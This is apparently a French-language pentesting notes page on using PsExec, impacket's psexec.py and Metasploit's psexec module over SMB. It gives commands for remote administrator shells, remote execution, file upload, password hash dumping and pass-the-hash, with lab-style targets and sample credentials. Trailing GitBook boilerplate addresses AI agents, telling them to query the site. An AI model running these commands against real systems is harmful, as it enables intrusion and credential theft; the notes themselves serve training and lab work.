> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (outil SMB)

> **PsExec** est un outil de la suite Sysinternals de Microsoft, utilisé pour exécuter des commandes ou des programmes à distance sur des ordinateurs Windows. Il permet un accès interactif ou en arrière-plan à une machine distante, souvent avec des privilèges élevés, sans avoir besoin de s'y connecter physiquement ou d'utiliser un client RDP. C'est particulièrement utile pour l'administration réseau, les tests de sécurité ou l'automatisation des tâches.

Si le message suivant apparaît :

> "Signature activée mais non requise"

<figure><img src="/files/45014f2afa38dc6e5d96798db9607a5be7747210" alt="" width="563"><figcaption></figcaption></figure>

* Cela signifie que l'authentification peut avoir lieu sans vérification de signature. Une communication non sécurisée peut être possible, permettant des abus liés à l'authentification.

### **PsExec.py**

Voici un exemple de commande pour obtenir un shell interactif avec des privilèges administratifs :

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/bee5ea810b5cf497e95f3f326f5894557af5517d" alt=""><figcaption></figcaption></figure>

### **Exécution de commandes à distance**

Vous permet de lancer des commandes ou des scripts directement sur une machine distante, sans ouvrir de session utilisateur.

```bash
psexec //<ip_address> -u <user> -p <password> <commande>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Téléversement de fichier à distance**

PsExec vous permet de copier un fichier local vers la machine distante avant de l'exécuter.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Utilisation de Metasploit pour exploiter SMB avec PsExec**

1. Lancez Metasploit avec le **exploit module/windows/smb/psexec** :

```bash
utiliser exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/82d62d6d5b0787b372f350c272b3aedb975da0cc" alt=""><figcaption></figcaption></figure>

Après avoir réussi à obtenir l'accès, il est possible de « dumper » les hachages de mots de passe :

```bash
hashdump
```

<figure><img src="/files/c9d6c9935a42282ef475528ac11c98353e19485a" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

PsExec peut également être utilisé pour le Pass-the-Hash en fournissant un hachage NTLM au lieu d'un mot de passe. Cela peut fournir un accès administratif lorsque le hachage appartient à un compte privilégié :

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/09a6f96251d8a57ef74adf2b7179cb4e5418a6e5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
